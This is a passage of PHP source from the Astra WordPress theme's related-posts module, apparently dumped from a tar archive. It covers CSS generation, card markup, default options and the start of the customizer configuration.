.ast-related-post-content .entry-meta *' => astra_get_font_array_css( astra_get_option( 'related-posts-meta-font-family' ), astra_get_option( 'related-posts-meta-font-weight' ), $related_post_meta_font_size, 'related-posts-meta-font-extras', $related_posts_meta_color ), '.ast-related-post-content .entry-meta a:hover, .ast-related-post-content .entry-meta span a span:hover' => array( 'color' => esc_attr( $related_posts_meta_link_hover_color ), ), /** * Related Posts - CTA */ '.ast-related-post-cta a' => array( 'color' => esc_attr( $related_posts_link_color ), ), '.ast-related-post-cta a:hover' => array( 'color' => esc_attr( $related_posts_link_hover_color ), ), /** * Related Posts - Content */ '.ast-related-post-excerpt' => astra_get_font_array_css( astra_get_option( 'related-posts-content-font-family' ), astra_get_option( 'related-posts-content-font-weight' ), $related_post_content_font_size, 'related-posts-content-font-extras', $related_post_text_color ), '.ast-related-post-content .post-thumb-img-content img' => array( 'aspect-ratio' => $aspect_ratio, 'width' => $with_aspect_img_width, 'object-fit' => $object_fit, // setting it to 'cover' for custom ratio option same as blogs archive page. ), '.ast-related-post-content .ast-author-avatar' => array( '--ast-author-avatar-size' => astra_get_css_value( $author_avatar_size, 'px' ), ), ); if ( astra_has_global_color_format_support() ) { /** @psalm-suppress PossiblyInvalidArgument */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort $related_posts_bg_color = astra_get_option( 'related-posts-background-color', $content_bg_obj ); if ( is_array( $related_posts_bg_color ) ) { $css_desktop_output['.ast-single-related-posts-container'] = astra_get_responsive_background_obj( $related_posts_bg_color, 'desktop' ); } else { $css_desktop_output['.ast-single-related-posts-container'] = array( 'background-color' => esc_attr( $related_posts_bg_color ), ); } } $btn_text_color = astra_get_option( 'button-color', '#fff' ); $btn_border_color = astra_get_option( 'theme-button-border-group-border-color' ); $btn_border_h_color = astra_get_option( 'theme-button-border-group-border-h-color' ); $theme_color = astra_get_option( 'theme-color' ); $link_hover_color = astra_get_option( 'link-h-color' ); $btn_bg_color = astra_get_option( 'button-bg-color', $theme_color ); $btn_text_hover_color = astra_get_option( 'button-h-color', '#fff' ); $btn_bg_hover_color = astra_get_option( 'button-bg-h-color', $link_hover_color ); $btn_preset_style = astra_get_option( 'button-preset-style' ); $global_custom_button_border_size = astra_get_option( 'theme-button-border-group-border-size' ); if ( 'button_04' === $btn_preset_style || 'button_05' === $btn_preset_style || 'button_06' === $btn_preset_style ) { if ( empty( $btn_border_color ) ) { $btn_border_color = $btn_bg_color; } if ( '' === astra_get_option( 'button-bg-color' ) && '' === astra_get_option( 'button-color' ) ) { $btn_text_color = $theme_color; } elseif ( '' === astra_get_option( 'button-color' ) ) { $btn_text_color = $btn_bg_color; } $btn_bg_color = 'transparent'; } $css_desktop_output['.ast-related-cat-style--badge .cat-links > a, .ast-related-tag-style--badge .tags-links > a'] = array( 'border-style' => 'solid', 'border-top-width' => isset( $global_custom_button_border_size['top'] ) && '' !== $global_custom_button_border_size['top'] ? astra_get_css_value( $global_custom_button_border_size['top'], 'px' ) : '0', 'border-right-width' => isset( $global_custom_button_border_size['right'] ) && '' !== $global_custom_button_border_size['right'] ? astra_get_css_value( $global_custom_button_border_size['right'], 'px' ) : '0', 'border-left-width' => isset( $global_custom_button_border_size['left'] ) && '' !== $global_custom_button_border_size['left'] ? astra_get_css_value( $global_custom_button_border_size['left'], 'px' ) : '0', 'border-bottom-width' => isset( $global_custom_button_border_size['bottom'] ) && '' !== $global_custom_button_border_size['bottom'] ? astra_get_css_value( $global_custom_button_border_size['bottom'], 'px' ) : '0', 'padding' => '4px 8px', 'border-radius' => '3px', 'font-size' => 'inherit', 'color' => esc_attr( $btn_text_color ), 'border-color' => empty( $btn_border_color ) ? esc_attr( $btn_bg_color ) : esc_attr( $btn_border_color ), 'background-color' => esc_attr( $btn_bg_color ), ); $css_desktop_output['.ast-related-cat-style--badge .cat-links > a:hover, .ast-related-tag-style--badge .tags-links > a:hover'] = array( 'color' => esc_attr( $btn_text_hover_color ), 'background-color' => esc_attr( $btn_bg_hover_color ), 'border-color' => empty( $btn_border_h_color ) ? esc_attr( $btn_bg_hover_color ) : esc_attr( $btn_border_h_color ), ); $css_desktop_output['.ast-related-cat-style--underline .cat-links > a, .ast-related-tag-style--underline .tags-links > a'] = array( 'text-decoration' => 'underline', ); $dynamic_css .= astra_parse_css( $css_desktop_output ); $css_max_tablet_output = array( '.ast-single-related-posts-container .ast-related-posts-wrapper .ast-related-post' => array( 'width' => '100%', ), '.ast-single-related-posts-container .ast-related-posts-wrapper' => array( 'grid-template-columns' => Astra_Builder_Helper::$grid_size_mapping[ $tablet_grid ], ), '.ast-related-post-content .entry-header .ast-related-post-title, .ast-related-post-content .entry-header .ast-related-post-title a' => array( 'font-size' => astra_responsive_font( $related_post_title_font_size, 'tablet' ), ), '.ast-related-post-content .entry-meta *' => array( 'font-size' => astra_responsive_font( $related_post_meta_font_size, 'tablet' ), ), '.ast-related-post-excerpt' => array( 'font-size' => astra_responsive_font( $related_post_content_font_size, 'tablet' ), ), '.ast-related-posts-title' => array( 'font-size' => astra_responsive_font( $related_posts_section_title_font_size, 'tablet' ), ), ); if ( astra_has_global_color_format_support() ) { if ( is_array( $related_posts_bg_color ) ) { $css_max_tablet_output['.ast-single-related-posts-container'] = astra_get_responsive_background_obj( $related_posts_bg_color, 'desktop' ); } else { $css_max_tablet_output['.ast-single-related-posts-container'] = array( 'background-color' => esc_attr( $related_posts_bg_color ), ); } } $dynamic_css .= astra_parse_css( $css_max_tablet_output, '', astra_get_tablet_breakpoint() ); $css_max_mobile_output = array( '.ast-single-related-posts-container .ast-related-posts-wrapper' => array( 'grid-template-columns' => Astra_Builder_Helper::$grid_size_mapping[ $mobile_grid ], ), '.ast-related-post-content .entry-header .ast-related-post-title, .ast-related-post-content .entry-header .ast-related-post-title a' => array( 'font-size' => astra_responsive_font( $related_post_title_font_size, 'mobile' ), ), '.ast-related-post-content .entry-meta *' => array( 'font-size' => astra_responsive_font( $related_post_meta_font_size, 'mobile' ), ), '.ast-related-post-excerpt' => array( 'font-size' => astra_responsive_font( $related_post_content_font_size, 'mobile' ), ), '.ast-related-posts-title' => array( 'font-size' => astra_responsive_font( $related_posts_section_title_font_size, 'mobile' ), ), ); if ( astra_has_global_color_format_support() ) { if ( is_array( $related_posts_bg_color ) ) { $css_max_mobile_output['.ast-single-related-posts-container'] = astra_get_responsive_background_obj( $related_posts_bg_color, 'desktop' ); } else { $css_max_mobile_output['.ast-single-related-posts-container'] = array( 'background-color' => esc_attr( $related_posts_bg_color ), ); } } $dynamic_css .= astra_parse_css( $css_max_mobile_output, '', astra_get_mobile_breakpoint() ); $dynamic_css .= Astra_Extended_Base_Dynamic_CSS::prepare_inner_section_advanced_css( 'ast-sub-section-related-posts', '.site .ast-single-related-posts-container' ); return $dynamic_css; } return $dynamic_css; } related-posts/class-astra-related-posts-markup.php 0000644 00000037221 15104530576 0016354 0 ustar 00 <?php /** * Related Posts for Astra theme. * * @package Astra * @link https://www.brainstormforce.com * @since Astra 3.5.0 */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } /** * Breadcrumbs Markup Initial Setup * * @since 3.5.0 */ class Astra_Related_Posts_Markup { /** * Constructor */ public function __construct() { add_action( 'astra_content_before', array( $this, 'initialize_related_posts' ) ); } /** * Initialize related posts module in Astra. * * @since 4.6.0 */ public function initialize_related_posts() { $priority = 10; $location = astra_get_option( 'related-posts-outside-location' ); $module_placement = astra_get_option( 'related-posts-box-placement' ); if ( 'outside' === $module_placement ) { $action = 'astra_content_after'; if ( astra_get_option( 'enable-comments-area', true ) && 'outside' === astra_get_option( 'comments-box-placement' ) ) { $priority = 'below' === $location ? 20 : 9; } } elseif ( 'inside' === $module_placement ) { $action = 'astra_entry_bottom'; $priority = 'below' === $location ? 20 : 10; } else { $action = 'astra_entry_after'; } add_action( $action, array( $this, 'astra_related_posts_markup' ), $priority ); } /** * Enable/Disable Single Post -> Related Posts section. * * @since 3.5.0 * @return void */ public function astra_related_posts_markup() { if ( astra_target_rules_for_related_posts() ) { $this->astra_get_related_posts(); } } /** * Related Posts markup. * * @since 3.5.0 * @return bool */ public function astra_get_related_posts() { global $post; $post_id = $post->ID; $related_posts_title = astra_get_i18n_option( 'related-posts-title', _x( '%astra%', 'Single Blog/Post Related Posts: Title', 'astra' ) ); $related_post_meta = astra_get_option( 'related-posts-meta-structure' ); $related_post_structure = astra_get_option_meta( 'related-posts-structure' ); $exclude_ids = apply_filters( 'astra_related_posts_exclude_post_ids', array( $post_id ), $post_id ); $related_posts_total_count = absint( astra_get_option( 'related-posts-total-count', 2 ) ); $module_container_width = astra_get_option( 'related-posts-container-width' ); $module_container_width = 'inside' === astra_get_option( 'related-posts-box-placement' ) ? '' : 'ast-container--' . $module_container_width; $related_category_style = astra_get_option( 'related-posts-category-style' ); $related_tag_style = astra_get_option( 'related-posts-tag-style' ); // Get related posts by WP_Query. $query_posts = $this->astra_get_related_posts_by_query( $post_id ); if ( $query_posts ) { if ( ! $query_posts->have_posts() ) { return apply_filters( 'astra_related_posts_no_posts_avilable_message', '', $post_id ); } // Added flag to load wrapper section 'ast-single-related-posts-container' only once, because as we removed 'posts__not_in' param from WP_Query and we conditionally handle posts__not_in below so it needs to verify if there are other posts as well to load, then only we will display wrapper. $related_posts_section_loaded = false; do_action( 'astra_related_posts_loop_before' ); /** * WP_Query posts loop. * * Used $post_counter & ( $post_counter < $total_posts_count ) condition to manage posts in while loop because there is case where manual 'post__not_in' condition handling scenario fails within loop. * * # CASE EXAMPLE - If total posts set to 4 (where 'post__not_in' not used in WP_Query) so there is a chance that out of those 4 posts, 1 post will be currently active on frontend. * * So what will happen in this case - Within following loop the current post will exclude by if condition & only 3 posts will be shown up. * * To avoid such cases $post_counter & ( $post_counter < $total_posts_count ) condition used. * * @since 3.5.0 */ $post_counter = 1; $total_posts_count = $related_posts_total_count + 1; while ( $query_posts->have_posts() && $post_counter < $total_posts_count ) { $query_posts->the_post(); $post_id = get_the_ID(); $separator = astra_get_option( 'related-metadata-separator', '/' ); $output_str = astra_get_post_meta( $related_post_meta, $separator, 'related-posts' ); if ( is_array( $exclude_ids ) && ! in_array( $post_id, $exclude_ids ) ) { if ( false === $related_posts_section_loaded ) { if ( is_customize_preview() ) { echo '<div class="customizer-item-block-preview customizer-navigate-on-focus ast-single-related-posts-container ' . esc_attr( $module_container_width ) . '" data-section="ast-sub-section-related-posts" data-type="section">'; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped Astra_Builder_UI_Controller::render_customizer_edit_button( 'row-editor-shortcut' ); } else { echo '<div class="ast-single-related-posts-container ' . esc_attr( $module_container_width ) . '">'; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped } do_action( 'astra_related_posts_title_before' ); if ( '' !== $related_posts_title ) { echo apply_filters( // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped 'astra_related_posts_title', sprintf( '<div class="ast-related-posts-title-section"> <%1$s class="ast-related-posts-title"> %2$s </%1$s> </div>', apply_filters( 'astra_related_posts_box_heading_tag', 'h2' ), $related_posts_title ) ); } do_action( 'astra_related_posts_title_after' ); echo '<div class="ast-related-posts-wrapper">'; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped $related_posts_section_loaded = true; } ?> <article <?php post_class( 'ast-related-post' ); ?>> <div class="ast-related-posts-inner-section"> <div class="ast-related-post-content"> <?php // Render post based on order of Featured Image & Title-Meta. if ( is_array( $related_post_structure ) ) { foreach ( $related_post_structure as $post_thumb_title_order ) { if ( 'featured-image' === $post_thumb_title_order ) { do_action( 'astra_related_post_before_featured_image', $post_id ); $this->astra_get_related_post_featured_image( $post_id ); do_action( 'astra_related_post_after_featured_image', $post_id ); } else { ?> <header class="entry-header related-entry-header"> <?php $this->astra_get_related_post_title( $post_id ); echo apply_filters( 'astra_related_posts_meta_html', '<div class="entry-meta ast-related-cat-style--' . $related_category_style . ' ast-related-tag-style--' . $related_tag_style . '">' . $output_str . '</div>' ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?> </header> <?php } } } ?> <div class="entry-content clear"> <?php $this->astra_get_related_post_excerpt( $post_id ); $this->astra_get_related_post_read_more( $post_id ); ?> </div> </div> </div> </article> <?php $post_counter++; } wp_reset_postdata(); } if ( true === $related_posts_section_loaded ) { echo '</div> </div>'; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped } do_action( 'astra_related_posts_loop_after' ); } } /** * Render Post CTA button HTML marup. * * @param int $current_post_id current post ID. * * @since 3.5.0 */ public function astra_get_related_post_read_more( $current_post_id ) { if ( ! astra_get_option( 'enable-related-posts-excerpt' ) ) { return; } $related_posts_content_type = apply_filters( 'astra_related_posts_content_type', 'excerpt' ); if ( 'full-content' === $related_posts_content_type ) { return; } $target = apply_filters( 'astra_related_post_cta_target', '_self' ); $cta_text = apply_filters( 'astra_related_post_read_more_text', astra_get_i18n_option( 'blog-read-more-text', _x( '%astra%', 'Blogs: Read More Text', 'astra' ) ) ); $blog_read_more_as_button = astra_get_option( 'blog-read-more-as-button' ); $show_read_more_as_button = apply_filters( 'astra_related_post_read_more_as_button', $blog_read_more_as_button ); $class = ''; if ( $show_read_more_as_button ) { $class = 'ast-button'; } $custom_class = apply_filters( 'astra_related_post_cta_custom_classes', $class ); do_action( 'astra_related_post_before_cta', $current_post_id ); ?> <p class="ast-related-post-cta read-more"> <a class="ast-related-post-link <?php echo esc_attr( $custom_class ); ?>" href="<?php echo esc_url( apply_filters( 'astra_related_post_link', get_the_permalink(), $current_post_id ) ); ?>" aria-label="<?php echo esc_attr__( 'Related post link', 'astra' ); ?>" target="<?php echo esc_attr( $target ); ?>" rel="bookmark noopener noreferrer"><?php echo esc_html( $cta_text ); ?></a> </p> <?php do_action( 'astra_related_post_after_cta', $current_post_id ); } /** * Related Posts Excerpt markup. * * @param int $current_post_id current post ID. * * @since 3.5.0 */ public function astra_get_related_post_excerpt( $current_post_id ) { if ( ! astra_get_option( 'enable-related-posts-excerpt' ) ) { return; } $related_posts_content_type = apply_filters( 'astra_related_posts_content_type', 'excerpt' ); if ( 'full-content' === $related_posts_content_type ) { return the_content(); } $excerpt_length = absint( astra_get_option( 'related-posts-excerpt-count' ) ); $excerpt = wp_trim_words( get_the_excerpt(), $excerpt_length ); if ( ! $excerpt ) { $excerpt = null; } $excerpt = apply_filters( 'astra_related_post_excerpt', $excerpt, $current_post_id ); do_action( 'astra_related_post_before_excerpt', $current_post_id ); ?> <p class="ast-related-post-excerpt entry-content clear"> <?php echo wp_kses_post( $excerpt ); ?> </p> <?php do_action( 'astra_related_post_after_excerpt', $current_post_id ); } /** * Render Post Title HTML. * * @param int $current_post_id current post ID. * * @since 3.5.0 */ public function astra_get_related_post_title( $current_post_id ) { $related_post_structure = astra_get_option_meta( 'related-posts-structure' ); if ( ! in_array( 'title-meta', $related_post_structure ) ) { return; } $target = apply_filters( 'astra_related_post_title_opening_target', '_self' ); $title_tag = apply_filters( 'astra_related_post_title_tag', 'h3' ); do_action( 'astra_related_post_before_title', $current_post_id ); ?> <<?php echo esc_html( $title_tag ); ?> class="ast-related-post-title entry-title"> <a href="<?php echo esc_url( apply_filters( 'astra_related_post_link', get_the_permalink(), $current_post_id ) ); ?>" target="<?php echo esc_attr( $target ); ?>" rel="bookmark noopener noreferrer"><?php the_title(); ?></a> </<?php echo esc_html( $title_tag ); ?>> <?php do_action( 'astra_related_post_after_title', $current_post_id ); } /** * Render Featured Image HTML. * * @param int $current_post_id current post ID. * @param string $before Markup before thumbnail image. * @param string $after Markup after thumbnail image. * @param bool $echo Output print or return. * @return string|null * * @since 3.5.0 */ public function astra_get_related_post_featured_image( $current_post_id, $before = '', $after = '', $echo = true ) { $related_post_structure = astra_get_option_meta( 'related-posts-structure' ); if ( ! in_array( 'featured-image', $related_post_structure ) ) { return; } $featured_image_size = astra_get_option( 'related-posts-image-size', 'large' ); $thumbnail_id = get_post_thumbnail_id( $current_post_id ); $alt_text = $thumbnail_id ? get_post_meta( $thumbnail_id, '_wp_attachment_image_alt', true ) : ''; $post_thumb = apply_filters( 'astra_related_post_featured_image_markup', get_the_post_thumbnail( $current_post_id, apply_filters( 'astra_related_posts_thumbnail_default_size', $featured_image_size ), array( 'alt' => $alt_text ? $alt_text : get_the_title( $current_post_id ), 'itemprop' => apply_filters( 'astra_related_posts_thumbnail_itemprop', '' ), ) ) ); $appended_class = has_post_thumbnail( $current_post_id ) ? 'post-has-thumb' : 'ast-no-thumb'; $featured_img_markup = '<div class="ast-related-post-featured-section ' . $appended_class . '">'; if ( '' !== $post_thumb ) { $featured_img_markup .= '<div class="post-thumb-img-content post-thumb">'; $featured_img_markup .= astra_markup_open( 'ast-related-post-image', array( 'open' => '<a %s>', 'echo' => false, 'attrs' => array( 'class' => '', 'aria-label' => sprintf( __( 'Read more about %s', 'astra' ), esc_attr( get_the_title( $current_post_id ) ) ), 'href' => esc_url( get_permalink() ), ), ) ); $featured_img_markup .= $post_thumb; $featured_img_markup .= '</a> </div>'; } $featured_img_markup = apply_filters( 'astra_related_post_featured_image_after', $featured_img_markup ); $featured_img_markup .= '</div>'; $featured_img_markup = apply_filters( 'astra_related_post_thumbnail', $featured_img_markup, $before, $after ); if ( false === $echo ) { return $before . $featured_img_markup . $after; } echo $before . $featured_img_markup . $after; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped } /** * Get related posts based on configurations. * * @param int $post_id Current Post ID. * * @since 3.5.0 * * @return WP_Query|bool */ public function astra_get_related_posts_by_query( $post_id ) { $term_ids = array(); $current_post_type = get_post_type( $post_id ); $related_posts_total_count = absint( astra_get_option( 'related-posts-total-count', 2 ) ); // Taking one post extra in loop because if current post excluded from while loop then this extra one post will cover total post count. Apperently avoided 'post__not_in' from WP_Query. $updated_total_posts_count = $related_posts_total_count + 1; $related_posts_order_by = astra_get_option( 'related-posts-order-by', 'date' ); $related_posts_order = astra_get_option( 'related-posts-order', 'desc' ); $related_posts_based_on = astra_get_option( 'related-posts-based-on', 'categories' ); $query_args = array( 'update_post_meta_cache' => false, 'posts_per_page' => $updated_total_posts_count, 'no_found_rows' => true, 'post_status' => 'publish', 'post_type' => $current_post_type, 'orderby' => $related_posts_order_by, 'fields' => 'ids', 'order' => $related_posts_order, ); if ( 'tags' === $related_posts_based_on ) { $terms = get_the_tags( $post_id ); if ( ! empty( $terms ) && ! is_wp_error( $terms ) ) { $term_ids = wp_list_pluck( $terms, 'term_id' ); } $query_args['tag__in'] = $term_ids; } else { $terms = get_the_category( $post_id ); /** @psalm-suppress RedundantConditionGivenDocblockType */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort if ( ! empty( $terms ) && ! is_wp_error( $terms ) ) { /** @psalm-suppress RedundantConditionGivenDocblockType */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort $term_ids = wp_list_pluck( $terms, 'term_id' ); } $query_args['category__in'] = $term_ids; } $query_args = apply_filters( 'astra_related_posts_query_args', $query_args ); return new WP_Query( $query_args ); } } /** * Kicking this off by creating NEW instance. */ new Astra_Related_Posts_Markup(); related-posts/class-astra-related-posts-loader.php 0000644 00000026560 15104530576 0016327 0 ustar 00 <?php /** * Related Posts Loader for Astra theme. * * @package Astra * @link https://www.brainstormforce.com * @since Astra 3.5.0 */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } /** * Customizer Initialization * * @since 3.5.0 */ class Astra_Related_Posts_Loader { /** * Constructor * * @since 3.5.0 */ public function __construct() { add_filter( 'astra_theme_defaults', array( $this, 'theme_defaults' ) ); add_action( 'customize_register', array( $this, 'related_posts_customize_register' ), 2 ); // Load Google fonts. add_action( 'astra_get_fonts', array( $this, 'add_fonts' ), 1 ); } /** * Enqueue google fonts. * * @return void */ public function add_fonts() { if ( astra_target_rules_for_related_posts() ) { // Related Posts Section title. $section_title_font_family = astra_get_option( 'related-posts-section-title-font-family' ); $section_title_font_weight = astra_get_option( 'related-posts-section-title-font-weight' ); Astra_Fonts::add_font( $section_title_font_family, $section_title_font_weight ); // Related Posts - Posts title. $post_title_font_family = astra_get_option( 'related-posts-title-font-family' ); $post_title_font_weight = astra_get_option( 'related-posts-title-font-weight' ); Astra_Fonts::add_font( $post_title_font_family, $post_title_font_weight ); // Related Posts - Meta Font. $meta_font_family = astra_get_option( 'related-posts-meta-font-family' ); $meta_font_weight = astra_get_option( 'related-posts-meta-font-weight' ); Astra_Fonts::add_font( $meta_font_family, $meta_font_weight ); // Related Posts - Content Font. $content_font_family = astra_get_option( 'related-posts-content-font-family' ); $content_font_weight = astra_get_option( 'related-posts-content-font-weight' ); Astra_Fonts::add_font( $content_font_family, $content_font_weight ); } } /** * Set Options Default Values * * @param array $defaults Astra options default value array. * @return array */ public function theme_defaults( $defaults ) { /** * Update Astra default color and typography values. To not update directly on existing users site, added backwards. * * @since 4.0.0 */ $apply_new_default_color_typo_values = Astra_Dynamic_CSS::astra_check_default_color_typo(); $astra_options = Astra_Theme_Options::get_astra_options(); $astra_blog_update = Astra_Dynamic_CSS::astra_4_6_0_compatibility(); // Related Posts. $defaults['enable-related-posts'] = false; $defaults['related-posts-title'] = __( 'Related Posts', 'astra' ); $defaults['releted-posts-title-alignment'] = 'left'; $defaults['related-posts-total-count'] = 2; $defaults['enable-related-posts-excerpt'] = false; $defaults['related-posts-box-placement'] = 'default'; $defaults['related-posts-outside-location'] = 'above'; $defaults['related-posts-container-width'] = $astra_blog_update ? '' : 'fallback'; $defaults['related-posts-excerpt-count'] = 25; $defaults['related-posts-based-on'] = 'categories'; $defaults['related-posts-order-by'] = 'date'; $defaults['related-posts-order'] = 'asc'; $defaults['related-posts-grid-responsive'] = array( 'desktop' => '2-equal', 'tablet' => '2-equal', 'mobile' => 'full', ); $defaults['related-posts-structure'] = array( 'featured-image', 'title-meta', ); $defaults['related-posts-tag-style'] = 'none'; $defaults['related-posts-category-style'] = 'none'; $defaults['related-posts-date-format'] = ''; $defaults['related-posts-meta-date-type'] = 'published'; $defaults['related-posts-author-avatar-size'] = ''; $defaults['related-posts-author-avatar'] = false; $defaults['related-posts-author-prefix-label'] = astra_default_strings( 'string-blog-meta-author-by', false ); $defaults['related-posts-image-size'] = ''; $defaults['related-posts-image-custom-scale-width'] = 16; $defaults['related-posts-image-custom-scale-height'] = 9; $defaults['related-posts-image-ratio-pre-scale'] = '16/9'; $defaults['related-posts-image-ratio-type'] = ''; $defaults['related-posts-meta-structure'] = array( 'comments', 'category', 'author', ); // Related Posts - Color styles. $defaults['related-posts-text-color'] = $apply_new_default_color_typo_values ? 'var(--ast-global-color-2)' : ''; $defaults['related-posts-link-color'] = ''; $defaults['related-posts-title-color'] = $apply_new_default_color_typo_values ? 'var(--ast-global-color-2)' : ''; $defaults['related-posts-background-color'] = ''; $defaults['related-posts-meta-color'] = ''; $defaults['related-posts-link-hover-color'] = ''; $defaults['related-posts-meta-link-hover-color'] = ''; // Related Posts - Title typo. $defaults['related-posts-section-title-font-family'] = 'inherit'; $defaults['related-posts-section-title-font-weight'] = 'inherit'; $defaults['related-posts-section-title-text-transform'] = ''; $defaults['related-posts-section-title-line-height'] = $apply_new_default_color_typo_values ? '1.25' : ''; $defaults['related-posts-section-title-font-extras'] = array( 'line-height' => ! isset( $astra_options['related-posts-section-title-font-extras'] ) && isset( $astra_options['related-posts-section-title-line-height'] ) ? $astra_options['related-posts-section-title-line-height'] : '1.6', 'line-height-unit' => 'em', 'letter-spacing' => '', 'letter-spacing-unit' => 'px', 'text-transform' => ! isset( $astra_options['related-posts-section-title-font-extras'] ) && isset( $astra_options['related-posts-section-title-text-transform'] ) ? $astra_options['related-posts-section-title-text-transform'] : '', 'text-decoration' => '', ); $defaults['related-posts-section-title-font-size'] = array( 'desktop' => $apply_new_default_color_typo_values ? '26' : '30', 'tablet' => '', 'mobile' => '', 'desktop-unit' => 'px', 'tablet-unit' => 'px', 'mobile-unit' => 'px', ); // Related Posts - Title typo. $defaults['related-posts-title-font-family'] = 'inherit'; $defaults['related-posts-title-font-weight'] = $apply_new_default_color_typo_values ? '500' : 'inherit'; $defaults['related-posts-title-text-transform'] = ''; $defaults['related-posts-title-line-height'] = '1'; $defaults['related-posts-title-font-size'] = array( 'desktop' => '20', 'tablet' => '', 'mobile' => '', 'desktop-unit' => 'px', 'tablet-unit' => 'px', 'mobile-unit' => 'px', ); $defaults['related-posts-title-font-extras'] = array( 'line-height' => ! isset( $astra_options['related-posts-title-font-extras'] ) && isset( $astra_options['related-posts-title-line-height'] ) ? $astra_options['related-posts-title-line-height'] : ( $astra_blog_update ? '1.5' : '1' ), 'line-height-unit' => 'em', 'letter-spacing' => '', 'letter-spacing-unit' => 'px', 'text-transform' => ! isset( $astra_options['related-posts-title-font-extras'] ) && isset( $astra_options['related-posts-title-text-transform'] ) ? $astra_options['related-posts-title-text-transform'] : '', 'text-decoration' => '', ); // Related Posts - Meta typo. $defaults['related-posts-meta-font-family'] = 'inherit'; $defaults['related-posts-meta-font-weight'] = 'inherit'; $defaults['related-posts-meta-text-transform'] = ''; $defaults['related-posts-meta-line-height'] = ''; $defaults['related-posts-meta-font-size'] = array( 'desktop' => '14', 'tablet' => '', 'mobile' => '', 'desktop-unit' => 'px', 'tablet-unit' => 'px', 'mobile-unit' => 'px', ); $defaults['related-posts-meta-font-extras'] = array( 'line-height' => ! isset( $astra_options['related-posts-meta-font-extras'] ) && isset( $astra_options['related-posts-meta-line-height'] ) ? $astra_options['related-posts-meta-line-height'] : '1.6', 'line-height-unit' => 'em', 'letter-spacing' => '', 'letter-spacing-unit' => 'px', 'text-transform' => ! isset( $astra_options['related-posts-meta-font-extras'] ) && isset( $astra_options['related-posts-meta-text-transform'] ) ? $astra_options['related-posts-meta-text-transform'] : '', 'text-decoration' => '', ); // Related Posts - Content typo. $defaults['related-posts-content-font-family'] = 'inherit'; $defaults['related-posts-content-font-weight'] = 'inherit'; $defaults['related-posts-content-font-extras'] = array( 'line-height' => ! isset( $astra_options['related-posts-content-font-extras'] ) && isset( $astra_options['related-posts-content-line-height'] ) ? $astra_options['related-posts-content-line-height'] : '', 'line-height-unit' => 'em', 'letter-spacing' => '', 'letter-spacing-unit' => 'px', 'text-transform' => ! isset( $astra_options['related-posts-content-font-extras'] ) && isset( $astra_options['related-posts-content-text-transform'] ) ? $astra_options['related-posts-content-text-transform'] : '', 'text-decoration' => '', ); $defaults['related-posts-content-font-size'] = array( 'desktop' => '', 'tablet' => '', 'mobile' => '', 'desktop-unit' => 'px', 'tablet-unit' => 'px', 'mobile-unit' => 'px', ); $defaults['ast-sub-section-related-posts-padding'] = array( 'desktop' => array( 'top' => 2.5, 'right' => 2.5, 'bottom' => 2.5, 'left' => 2.5, ), 'tablet' => array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', ), 'mobile' => array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', ), 'desktop-unit' => 'em', 'tablet-unit' => 'em', 'mobile-unit' => 'em', ); $defaults['ast-sub-section-related-posts-margin'] = array( 'desktop' => array( 'top' => 2, 'right' => '', 'bottom' => '', 'left' => '', ), 'tablet' => array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', ), 'mobile' => array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', ), 'desktop-unit' => 'em', 'tablet-unit' => 'em', 'mobile-unit' => 'em', ); return $defaults; } /** * Add postMessage support for site title and description for the Theme Customizer. * * @param WP_Customize_Manager $wp_customize Theme Customizer object. * * @since 3.5.0 */ public function related_posts_customize_register( $wp_customize ) { /** * Register Config control in Related Posts. */ // @codingStandardsIgnoreStart WPThemeReview.CoreFunctionality.FileInclude.FileIncludeFound require_once ASTRA_RELATED_POSTS_DIR . 'customizer/class-astra-related-posts-configs.php'; // @codingStandardsIgnoreEnd WPThemeReview.CoreFunctionality.FileInclude.FileIncludeFound } /** * Render the Related Posts title for the selective refresh partial. * * @since 3.5.0 */ public function render_related_posts_title() { return astra_get_option( 'related-posts-title' ); } } /** * Kicking this off by creating NEW instace. */ new Astra_Related_Posts_Loader(); related-posts/customizer/class-astra-related-posts-configs.php 0000644 00000137525 15104530576 0020721 0 ustar 00 <?php /** * Related Posts Options for Astra Theme. * * @package Astra * @link https://wpastra.com/ * @since Astra 3.5.0 */ if ( ! defined( 'ABSPATH' ) ) { exit; } // Bail if Customizer config base class does not exist. if ( ! class_exists( 'Astra_Customizer_Config_Base' ) ) { return; } /** * Register Related Posts Configurations. */ class Astra_Related_Posts_Configs extends Astra_Customizer_Config_Base { /** * Register Related Posts Configurations. * * @param Array $configurations Astra Customizer Configurations. * @param WP_Customize_Manager $wp_customize instance of WP_Customize_Manager. * @since 3.5.0 * @return Array Astra Customizer Configurations with updated configurations. */ public function register_configuration( $configurations, $wp_customize ) { $related_structure_sub_controls = array(); $meta_config_options = array(); $parent_section = 'section-blog-single'; $related_structure_sub_controls['featured-image'] = array( 'clone' => false, 'is_parent' => true, 'main_index' => 'featured-image', 'clone_limit' => 2, 'title' => __( 'Featured Image', 'astra' ), ); $related_structure_sub_controls['title-meta'] = array( 'clone' => false, 'is_parent' => true, 'main_index' => 'title-meta', 'clone_limit' => 2, 'title' => __( 'Title & Post Meta', 'astra' ), ); $meta_config_options['category'] = array( 'clone' => false, 'is_parent' => true, 'main_index' => 'category', 'clone_limit' => 1, 'title' => __( 'Category', 'astra' ), ); $meta_config_options['author'] = array( 'clone' => false, 'is_parent' => true, 'main_index' => 'author', 'clone_limit' => 1, 'title' => __( 'Author', 'astra' ), ); $meta_config_options['date'] = array( 'clone' => false, 'is_parent' => true, 'main_index' => 'date', 'clone_limit' => 1, 'title' => __( 'Date', 'astra' ), ); $meta_config_options['tag'] = array( 'clone' => false, 'is_parent' => true, 'main_index' => 'tag', 